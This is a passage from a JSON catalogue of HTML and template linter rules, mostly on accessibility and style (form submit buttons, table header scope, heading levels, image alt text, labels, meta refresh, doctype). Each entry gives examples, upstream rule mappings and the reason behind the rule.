      "why": "The loose operators convert their operands before they compare, so `0 == ''` and `null == undefined` are true and the template shows content for a value the author did not mean.\n\nTo fix, write `===` and `!==`."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a `<form>` that has no submit button inside it and none that names it with `form=` (WCAG H32).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title><title>y</title></head>\n<body>\n<ul><li>a</li><div></div></ul>\n<p><a href=\"x\"><a href=\"y\">z</a></a></p>\n<font>old</font>\n<table><tbody></tbody><thead></thead></table>\n<details><div></div></details>\n<a href=\"x\"><img alt=\"logo\" src=\"a\"></a>\n<a href=\"x\">text</a>\n<a href=\"x\" aria-label=\"n\"><i></i></a>\n<a href=\"x\"><i></i></a>\n<form><input name=\"q\"></form>\n<form><button>go</button></form>\n<form id=\"f\"></form><button form=\"f\">go</button>\n<table><tr><th>a</th><th>b</th></tr><tr><td>1</td><td>2</td></tr></table>\n<table><tr><th></th><th scope=\"col\">b</th></tr><tr><th>c</th><td>2</td></tr></table>\n<div aria-hidden=\"true\"><button>x</button></div>\n<div aria-hidden=\"true\"><button tabindex=\"-1\">x</button></div>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          3,
          5,
          6,
          7,
          8,
          9,
          13,
          18,
          19
        ],
        "spans": [
          {
            "column": 1,
            "length": 6,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "form-submit",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "wcag/h32",
          "note": "a submit button inside the form or one that names its id with form=",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/wcag/h32.html"
        }
      ],
      "why": "Without a submit button a form can only be sent by pressing Enter in a field, which not every user knows, and which does nothing in a form with several fields in some browsers.\n\nTo fix, add a `<button type=\"submit\">` (or `<input type=\"submit\">`) to the form."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a `<th>` with no `scope` (`row`, `col`, `rowgroup` or `colgroup`) in a table that is not a simple one. A table with a single row or a single column of headers is simple (WCAG H63).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title><title>y</title></head>\n<body>\n<ul><li>a</li><div></div></ul>\n<p><a href=\"x\"><a href=\"y\">z</a></a></p>\n<font>old</font>\n<table><tbody></tbody><thead></thead></table>\n<details><div></div></details>\n<a href=\"x\"><img alt=\"logo\" src=\"a\"></a>\n<a href=\"x\">text</a>\n<a href=\"x\" aria-label=\"n\"><i></i></a>\n<a href=\"x\"><i></i></a>\n<form><input name=\"q\"></form>\n<form><button>go</button></form>\n<form id=\"f\"></form><button form=\"f\">go</button>\n<table><tr><th>a</th><th>b</th></tr><tr><td>1</td><td>2</td></tr></table>\n<table><tr><th></th><th scope=\"col\">b</th></tr><tr><th>c</th><td>2</td></tr></table>\n<div aria-hidden=\"true\"><button>x</button></div>\n<div aria-hidden=\"true\"><button tabindex=\"-1\">x</button></div>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          3,
          5,
          6,
          7,
          8,
          9,
          13,
          14,
          19
        ],
        "spans": [
          {
            "column": 12,
            "length": 4,
            "line": 18
          },
          {
            "column": 52,
            "length": 4,
            "line": 18
          }
        ]
      },
      "fix": null,
      "id": "header-scope",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "wcag/h63",
          "note": "the non-strict mode only, simple tables (one header row or one header column without thead) are left alone",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/wcag/h63.html"
        }
      ],
      "why": "In a table with headers on both axes a screen reader cannot tell whether a header belongs to the cells beside it or below it, so a cell is read with the wrong header.\n\nTo fix, add the `scope` that says which cells the header describes."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a heading that breaks the outline of the document: the first heading is not an `<h1>`, a level is skipped going down (`<h1>` then `<h3>`), or the page has more than one `<h1>` (each one is reported).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<title>This title is really quite long, longer than seventy characters in total length ok</title>\n<meta http-equiv=\"refresh\" content=\"5\">\n<meta http-equiv=\"refresh\" content=\"0; url=/new\">\n</head>\n<body>\n<h2>a</h2>\n<h1>b</h1>\n<h3>c</h3>\n<h2>d</h2>\n<h1>e</h1>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          4,
          5
        ],
        "spans": [
          {
            "column": 2,
            "length": 2,
            "line": 9
          },
          {
            "column": 2,
            "length": 2,
            "line": 10
          },
          {
            "column": 2,
            "length": 2,
            "line": 11
          },
          {
            "column": 2,
            "length": 2,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "heading-level",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "no-multiple-h1",
          "note": "also reports the other heading rules of `heading-level`",
          "partial": true,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/no-multiple-h1"
        },
        {
          "id": "no-skip-heading-levels",
          "note": "also reports a first heading that is not an h1 and a second h1",
          "partial": true,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/no-skip-heading-levels"
        },
        {
          "id": "heading-level",
          "note": "a sectioning root (`<dialog>`, `<section>` with its own outline) does not reset the levels; no allowMultipleH1 and minInitialRank options",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/heading-level.html"
        }
      ],
      "why": "Headings make the table of contents that screen reader users and search engines build. A skipped level suggests a section that is missing, and several `<h1>` leave the main topic unclear.\n\nTo fix, use the level that follows the one above, and style the size with CSS."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an element that can take focus (a link, a control, an element with `tabindex` of 0 or more) inside an element with `aria-hidden=\"true\"`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title><title>y</title></head>\n<body>\n<ul><li>a</li><div></div></ul>\n<p><a href=\"x\"><a href=\"y\">z</a></a></p>\n<font>old</font>\n<table><tbody></tbody><thead></thead></table>\n<details><div></div></details>\n<a href=\"x\"><img alt=\"logo\" src=\"a\"></a>\n<a href=\"x\">text</a>\n<a href=\"x\" aria-label=\"n\"><i></i></a>\n<a href=\"x\"><i></i></a>\n<form><input name=\"q\"></form>\n<form><button>go</button></form>\n<form id=\"f\"></form><button form=\"f\">go</button>\n<table><tr><th>a</th><th>b</th></tr><tr><td>1</td><td>2</td></tr></table>\n<table><tr><th></th><th scope=\"col\">b</th></tr><tr><th>c</th><td>2</td></tr></table>\n<div aria-hidden=\"true\"><button>x</button></div>\n<div aria-hidden=\"true\"><button tabindex=\"-1\">x</button></div>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          3,
          5,
          6,
          7,
          8,
          9,
          13,
          14,
          18
        ],
        "spans": [
          {
            "column": 25,
            "length": 8,
            "line": 19
          }
        ]
      },
      "fix": null,
      "id": "hidden-focusable",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "hidden-focusable",
          "note": "tabindex, disabled, hiding attributes and styles of the element and its ancestors; a disabling fieldset is not looked at",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/hidden-focusable.html"
        }
      ],
      "why": "Keyboard users can still reach the element, but assistive technology does not announce it, so focus goes to something that is not there for the screen reader user.\n\nTo fix, remove `aria-hidden`, or make the content not focusable (`tabindex=\"-1\"`, `disabled`, `inert`)."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an element written in the wrong form for Vue's style: an HTML element, a component, an SVG or MathML element without content should be self-closed (`<div />`), a void HTML element should not (`<img>`). The elements of the file's root (`<template>`, `<script>`) are not reported. Only in `.vue` files.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <div>\n    <div></div>\n    <img />\n    <img>\n    <div />\n    <div>text</div>\n    <MyCard></MyCard>\n    <svg><path d=\"M0\"></path></svg>\n    <a @click=\"go\" :href=\"u\" v-if=\"ok\">x</a>\n    <a v-if=\"ok\" :href=\"u\" @click=\"go\">x</a>\n    <input v-bind=\"props\" :id=\"i\" v-model=\"m\">\n    <MyCard @cardOpen=\"go\" @card-close=\"go\" @click=\"go\" />\n  </div>\n</template>\n",
        "language": "vue",
        "other_lines": [
          10,
          13
        ],
        "spans": [
          {
            "column": 5,
            "length": 5,
            "line": 3
          },
          {
            "column": 5,
            "length": 7,
            "line": 4
          },
          {
            "column": 5,
            "length": 8,
            "line": 8
          },
          {
            "column": 10,
            "length": 13,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "html-self-closing",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "html-self-closing",
          "note": "the default options only",
          "partial": true,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/html-self-closing.html"
        }
      ],
      "why": "Both forms mean the same in a Vue template, and the style puts the empty elements in one shape that is quick to see.\n\nTo fix, write the empty element as `<div />` and the void one as `<img>`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `id` that does not match the option `pattern`, a regex that by default means kebab-case: lowercase letters and digits in words joined by `-`, beginning with a letter.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<p id=\"fooBar\" class=\"ok fooBar x_y\"></p>\n<p id=\"foo-bar\"></p>\n<p id=\"1a\"></p>\n<input name=\"fooBar\">\n<input name=\"foo_bar\">\n<input name=\"foo[]\">\n<p fooBar=\"x\" data-X=\"y\" a_b=\"c\"></p>\n",
        "language": "html",
        "other_lines": [
          7,
          9
        ],
        "spans": [
          {
            "column": 8,
            "length": 6,
            "line": 3
          },
          {
            "column": 8,
            "length": 2,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "id-pattern",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [
        {
          "default": "^[a-z][a-z0-9]*(-[a-z0-9]+)*$",
          "description": "The regex the value must match.",
          "name": "pattern",
          "type": "string"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "id-naming-convention",
          "note": "the convention is the pattern option (a regex), not named styles",
          "partial": true,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/id-naming-convention"
        },
        {
          "id": "id-pattern",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/id-pattern.html"
        }
      ],
      "why": "An id is a name that scripts, links and styles refer to; a single style makes it predictable. An id in capitals or with `_` is often written one way and referred to another.\n\nTo fix, rename the id and everything that refers to it, or change the pattern."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an `<img>` with no `alt` attribute (WCAG H37). One hidden from assistive technology (`aria-hidden=\"true\"`, `role=\"presentation\"` or `none`) is left alone, unless `skip_hidden` is off. A bound `[alt]` or `:alt` counts. With `name_counts`, so does a non-empty `aria-label` or `aria-labelledby`. With `other_elements`, an `<area>`, an `<object>` (also named by `title`) and an `<input type=\"image\">` need one too.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<script type=\"text/javascript\"></script>\n<script type=\"module\"></script>\n<script></script>\n<img src=\"a.png\">\n<img src=\"a.png\" alt=\"\">\n<img src=\"a.png\" role=\"presentation\">\n",
        "language": "html",
        "other_lines": [
          3
        ],
        "spans": [
          {
            "column": 1,
            "length": 17,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "img-alt",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [
        {
          "default": true,
          "description": "Leave out an element hidden from assistive technology (`aria-hidden`, `role=\"presentation\"` or `none`).",
          "name": "skip_hidden",
          "type": "bool"
        },
        {
          "default": false,
          "description": "Also check `<area>`, `<object>` and `<input type=\"image\">`.",
          "name": "other_elements",
          "type": "bool"
        },
        {
          "default": false,
          "description": "A non-empty `aria-label` or `aria-labelledby` (and `title` on `<object>`) counts as the text alternative.",
          "name": "name_counts",
          "type": "bool"
        }
      ],
      "presets": [
        "html/html-validate-recommended",
        "html/html-eslint-recommended",
        "html/angular-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "alt-text",
          "note": "`other_elements` covers `<area>`, `<object>` and `<input type=\"image\">`",
          "partial": true,
          "tool": "angular-eslint",
          "url": "https://github.com/angular-eslint/angular-eslint/blob/v22.8.0/packages/eslint-plugin-template/docs/rules/alt-text.md"
        },
        {
          "id": "require-img-alt",
          "partial": false,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/require-img-alt"
        },
        {
          "id": "wcag/h37",
          "note": "an img without alt unless aria-hidden or a presentation role",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/wcag/h37.html"
        }
      ],
      "why": "With no `alt` a screen reader reads the file name, and a browser that does not load the image shows nothing. An `alt` is also what search engines index for the image.\n\nTo fix, add an `alt` that says what the image shows, or `alt=\"\"` if it is only decoration."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an `<input>` (not hidden and not a button), `<select>` or `<textarea>` that no label names: it is not inside a `<label>`, no `<label for>` points at its `id`, and it has no `aria-label` or `aria-labelledby`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title></head>\n<body>\n<input type=\"text\" name=\"a\">\n<label>L <input type=\"text\" name=\"b\"></label>\n<label for=\"c\">C</label><input type=\"text\" id=\"c\">\n<input type=\"text\" aria-label=\"d\">\n<input type=\"hidden\" name=\"e\">\n<label>a <input id=\"x\"> <input id=\"y\"></label>\n<map name=\"m\"><area href=\"x\"><area href=\"y\" alt=\"ok\"><area alt=\"z\"></map>\n<map name=\"m\"></map>\n<svg><path d=\"\"></path></svg>\n<svg focusable=\"false\"></svg>\n<nav aria-label=\"a\"></nav><nav aria-label=\"a\"></nav>\n<nav></nav><aside></aside>\n<div aria-label=\"x\">y</div>\n<span role=\"button\" aria-label=\"x\">y</span>\n<a aria-label=\"x\">y</a>\n<a href=\"x\" aria-label=\"x\">y</a>\n<div role=\"main\"></div>\n<span role=\"button\"></span>\n<main role=\"main\"></main>\n<a href=\"#\" role=\"button\">x</a>\n<button></button>\n<button aria-label=\"x\"></button>\n<button><img src=\"a\" alt=\"x\"></button>\n<button><svg focusable=\"false\"><title>x</title></svg></button>\n<button><svg focusable=\"false\"><use href=\"#a\"/></svg></button>\n<button><img src=\"a\" alt=\"\"></button>\n<button><span>x</span></button>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          10,
          11,
          12,
          13,
          15,
          16,
          17,
          18,
          19,
          21,
          22,
          23,
          24,
          25,
          29,
          30
        ],
        "spans": [
          {
            "column": 2,
            "length": 5,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "input-missing-label",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/htmlhint"
      ],
      "upstream": [
        {
          "id": "require-input-label",
          "partial": false,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/require-input-label"
        },
        {
          "id": "input-missing-label",
          "note": "does not skip what is inside aria-hidden",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/input-missing-label.html"
        },
        {
          "id": "input-requires-label",
          "partial": false,
          "tool": "htmlhint",
          "url": "https://github.com/htmlhint/HTMLHint/blob/v1.9.2/website/src/content/docs/rules/input-requires-label.mdx"
        }
      ],
      "why": "A control without a name is read by a screen reader as just \"edit text\", and the click target is only the control itself, not its text.\n\nTo fix, wrap the control in a `<label>`, or give it an `id` and a `<label for>`, or add `aria-label`."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an element with a click or key handler that cannot take focus: no `tabindex`, not a control or link with `href`, and no role that is not a widget (`heading`, `listitem`, `dialog`, ...). The role of the element is named in the message. Hidden, presentational and `aria-disabled=\"true\"` elements are left alone.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<div (click)=\"a()\"></div>\n<div (click)=\"a()\" (keydown.enter)=\"a()\" tabindex=\"0\"></div>\n<div on-click=\"a()\" role=\"presentation\"></div>\n<button (click)=\"a()\"></button>\n<a (click)=\"a()\" routerLink=\"/x\">x</a>\n<a (click)=\"a()\">x</a>\n<app-card (click)=\"a()\"></app-card>\n<div role=\"heading\" (keydown)=\"a()\"></div>\n@if (ok) { <div (click)=\"a()\" aria-hidden=\"true\"></div> }\n<div (mouseover)=\"a()\"></div>\n<div (mouseout)=\"a()\" (blur)=\"b()\"></div>\n<label>Name</label>\n<input id=\"a\" /> <label for=\"a\">Name</label> <label [for]=\"id\">Name</label> <label><input /></label>\n@if (ok) { <a></a> }\n<h2></h2>\n<a [innerHTML]=\"html\"></a> <a><img alt=\"x\" /></a> <a aria-label=\"x\"></a> <a>{{ x }}</a>\n<input autofocus />\n<dialog><input autofocus /></dialog>\n<mat-sidenav [autoFocus]=\"x\"></mat-sidenav> <input [autofocus]=\"y\" />\n<p *ngIf=\"a\">x</p>\n<p *ngFor=\"let x of xs\">x</p>\n<div [ngSwitch]=\"a\"><i *ngSwitchCase=\"1\"></i></div>\n<td scope=\"row\"></td>\n<th scope=\"row\"></th>\n<img src=\"a.png\" aria-hidden=\"true\" />\n<img [alt]=\"t\" src=\"a.png\" /> <area href=\"/x\" /> <input type=\"image\" />\n",
        "language": "angular",
        "other_lines": [
          4,
          10,
          12,
          14,
          15,
          17,
          19,
          20,
          21,
          22,
          23,
          25,
          26
        ],
        "spans": [
          {
            "column": 1,
            "length": 19,
            "line": 1
          },
          {
            "column": 1,
            "length": 17,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "interactive-supports-focus",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/angular-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "interactive-supports-focus",
          "partial": false,
          "tool": "angular-eslint",
          "url": "https://github.com/angular-eslint/angular-eslint/blob/v22.8.0/packages/eslint-plugin-template/docs/rules/interactive-supports-focus.md"
        }
      ],
      "why": "An element that does something when it is clicked or when a key is pressed must be reachable by the Tab key, or a keyboard user never gets to trigger it. Add `tabindex=\"0\"` or use a native control such as `<button>`."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a `<label>` that names no control: it has no `for` attribute (a bound `[for]` counts) and holds no labelable element (`<input>` that is not hidden, `<select>`, `<textarea>`, `<button>`, `<meter>`, `<output>`, `<progress>`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<div (click)=\"a()\"></div>\n<div (click)=\"a()\" (keydown.enter)=\"a()\" tabindex=\"0\"></div>\n<div on-click=\"a()\" role=\"presentation\"></div>\n<button (click)=\"a()\"></button>\n<a (click)=\"a()\" routerLink=\"/x\">x</a>\n<a (click)=\"a()\">x</a>\n<app-card (click)=\"a()\"></app-card>\n<div role=\"heading\" (keydown)=\"a()\"></div>\n@if (ok) { <div (click)=\"a()\" aria-hidden=\"true\"></div> }\n<div (mouseover)=\"a()\"></div>\n<div (mouseout)=\"a()\" (blur)=\"b()\"></div>\n<label>Name</label>\n<input id=\"a\" /> <label for=\"a\">Name</label> <label [for]=\"id\">Name</label> <label><input /></label>\n@if (ok) { <a></a> }\n<h2></h2>\n<a [innerHTML]=\"html\"></a> <a><img alt=\"x\" /></a> <a aria-label=\"x\"></a> <a>{{ x }}</a>\n<input autofocus />\n<dialog><input autofocus /></dialog>\n<mat-sidenav [autoFocus]=\"x\"></mat-sidenav> <input [autofocus]=\"y\" />\n<p *ngIf=\"a\">x</p>\n<p *ngFor=\"let x of xs\">x</p>\n<div [ngSwitch]=\"a\"><i *ngSwitchCase=\"1\"></i></div>\n<td scope=\"row\"></td>\n<th scope=\"row\"></th>\n<img src=\"a.png\" aria-hidden=\"true\" />\n<img [alt]=\"t\" src=\"a.png\" /> <area href=\"/x\" /> <input type=\"image\" />\n",
        "language": "angular",
        "other_lines": [
          1,
          4,
          6,
          10,
          14,
          15,
          17,
          19,
          20,
          21,
          22,
          23,
          25,
          26
        ],
        "spans": [
          {
            "column": 1,
            "length": 7,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "label-has-control",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/angular-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "label-has-associated-control",
          "note": "no `controlComponents` or `labelComponents` options",
          "partial": true,
          "tool": "angular-eslint",
          "url": "https://github.com/angular-eslint/angular-eslint/blob/v22.8.0/packages/eslint-plugin-template/docs/rules/label-has-associated-control.md"
        }
      ],
      "why": "A label that is tied to no control labels nothing: clicking it does not focus a field and a screen reader does not read it with one. Add `for` with the id of the control, or put the control inside the label."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a link (`<a href>`) with no text, no image with an `alt` and no `aria-label` (WCAG H30). A link hidden from assistive technology is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title><title>y</title></head>\n<body>\n<ul><li>a</li><div></div></ul>\n<p><a href=\"x\"><a href=\"y\">z</a></a></p>\n<font>old</font>\n<table><tbody></tbody><thead></thead></table>\n<details><div></div></details>\n<a href=\"x\"><img alt=\"logo\" src=\"a\"></a>\n<a href=\"x\">text</a>\n<a href=\"x\" aria-label=\"n\"><i></i></a>\n<a href=\"x\"><i></i></a>\n<form><input name=\"q\"></form>\n<form><button>go</button></form>\n<form id=\"f\"></form><button form=\"f\">go</button>\n<table><tr><th>a</th><th>b</th></tr><tr><td>1</td><td>2</td></tr></table>\n<table><tr><th></th><th scope=\"col\">b</th></tr><tr><th>c</th><td>2</td></tr></table>\n<div aria-hidden=\"true\"><button>x</button></div>\n<div aria-hidden=\"true\"><button tabindex=\"-1\">x</button></div>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          3,
          5,
          6,
          7,
          8,
          9,
          14,
          18,
          19
        ],
        "spans": [
          {
            "column": 1,
            "length": 12,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "link-text",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "wcag/h30",
          "note": "text of the link without the hidden parts, an img with alt or an aria-label inside; dynamic values are not told from static ones",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/wcag/h30.html"
        }
      ],
      "why": "A screen reader announces the link as \"link\" with no purpose, and a list of the links of a page shows an empty entry. Sighted users get a link they cannot see or have no name for.\n\nTo fix, put text in the link, or an image with an `alt`, or add `aria-label`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `<title>` longer than 70 characters.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<title>This title is really quite long, longer than seventy characters in total length ok</title>\n<meta http-equiv=\"refresh\" content=\"5\">\n<meta http-equiv=\"refresh\" content=\"0; url=/new\">\n</head>\n<body>\n<h2>a</h2>\n<h1>b</h1>\n<h3>c</h3>\n<h2>d</h2>\n<h1>e</h1>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          5,
          9,
          10,
          11,
          13
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "long-title",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "long-title",
          "note": "the length is fixed at 70, no maxlength option",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/long-title.html"
        }
      ],
      "why": "Search engines cut a title off after about that length, and a browser tab shows a few words only, so the end of a long title is not seen.\n\nTo fix, shorten the title, and put the key words first."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `<map>` whose `name` an earlier `<map>` already has.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title></head>\n<body>\n<input type=\"text\" name=\"a\">\n<label>L <input type=\"text\" name=\"b\"></label>\n<label for=\"c\">C</label><input type=\"text\" id=\"c\">\n<input type=\"text\" aria-label=\"d\">\n<input type=\"hidden\" name=\"e\">\n<label>a <input id=\"x\"> <input id=\"y\"></label>\n<map name=\"m\"><area href=\"x\"><area href=\"y\" alt=\"ok\"><area alt=\"z\"></map>\n<map name=\"m\"></map>\n<svg><path d=\"\"></path></svg>\n<svg focusable=\"false\"></svg>\n<nav aria-label=\"a\"></nav><nav aria-label=\"a\"></nav>\n<nav></nav><aside></aside>\n<div aria-label=\"x\">y</div>\n<span role=\"button\" aria-label=\"x\">y</span>\n<a aria-label=\"x\">y</a>\n<a href=\"x\" aria-label=\"x\">y</a>\n<div role=\"main\"></div>\n<span role=\"button\"></span>\n<main role=\"main\"></main>\n<a href=\"#\" role=\"button\">x</a>\n<button></button>\n<button aria-label=\"x\"></button>\n<button><img src=\"a\" alt=\"x\"></button>\n<button><svg focusable=\"false\"><title>x</title></svg></button>\n<button><svg focusable=\"false\"><use href=\"#a\"/></svg></button>\n<button><img src=\"a\" alt=\"\"></button>\n<button><span>x</span></button>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          5,
          10,
          11,
          13,
          15,
          16,
          17,
          18,
          19,
          21,
          22,
          23,
          24,
          25,
          29,
          30
        ],
        "spans": [
          {
            "column": 12,
            "length": 1,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "map-dup-name",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard"
      ],
      "upstream": [
        {
          "id": "map-dup-name",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/map-dup-name.html"
        }
      ],
      "why": "An image refers to its map by `usemap=\"#name\"`, and the browser finds the first one, so the second map is unreachable.\n\nTo fix, give each map its own name."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports `<meta http-equiv=\"refresh\">` with a delay (`content=\"5\"`). A delay of 0 is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<title>This title is really quite long, longer than seventy characters in total length ok</title>\n<meta http-equiv=\"refresh\" content=\"5\">\n<meta http-equiv=\"refresh\" content=\"0; url=/new\">\n</head>\n<body>\n<h2>a</h2>\n<h1>b</h1>\n<h3>c</h3>\n<h2>d</h2>\n<h1>e</h1>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          4,
          9,
          10,
          11,
          13
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "meta-refresh",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "meta-refresh",
          "note": "a delay is any content that starts with a nonzero digit; no allowLongDelay option",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/meta-refresh.html"
        }
      ],
      "why": "A page that reloads or redirects by itself after a time takes the control from the user, disorients screen reader users and cannot be paused.\n\nTo fix, redirect on the server, or use a 0 delay; for a reload, give the user a button."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a document that has no doctype, on its start. Not in `.vue`, `.svelte` and `*.component.html` files, which are fragments of a page.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<title>x</title>\n",
        "language": "html",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "missing-doctype",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/htmlhint",
        "html/html-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "require-doctype",
          "partial": false,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/require-doctype"
        },
        {
          "id": "missing-doctype",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/missing-doctype.html"
        },
        {
          "id": "doctype-first",
          "note": "the doctype is not required to be the first thing in the file",
          "partial": true,
          "tool": "htmlhint",
          "url": "https://github.com/htmlhint/HTMLHint/blob/v1.9.2/website/src/content/docs/rules/doctype-first.mdx"
        }
      ],
      "why": "A document with no doctype is rendered in quirks mode, which keeps old browser layout bugs alive and changes how boxes and tables are sized.\n\nTo fix, put `<!DOCTYPE html>` on the first line."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a `mouseover` handler with no `focus` handler and a `mouseout` handler with no `blur` handler on the same element.",
      "example": {
        "config": null,
        "fixed": null,
